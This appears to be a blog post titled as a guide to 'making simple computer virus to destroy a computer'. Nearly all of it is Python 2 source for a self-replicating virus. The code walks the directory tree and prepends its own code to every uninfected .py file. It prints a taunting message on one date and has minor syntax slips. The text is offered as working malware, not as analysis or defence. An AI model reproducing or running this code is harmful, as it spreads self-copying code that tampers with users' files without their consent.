Skip to main content

making simple computer virus to destroy a computer using Python program

<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i&gt;=0 and i &lt;39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>

Comments

Popular posts from this blog

Mail merge 1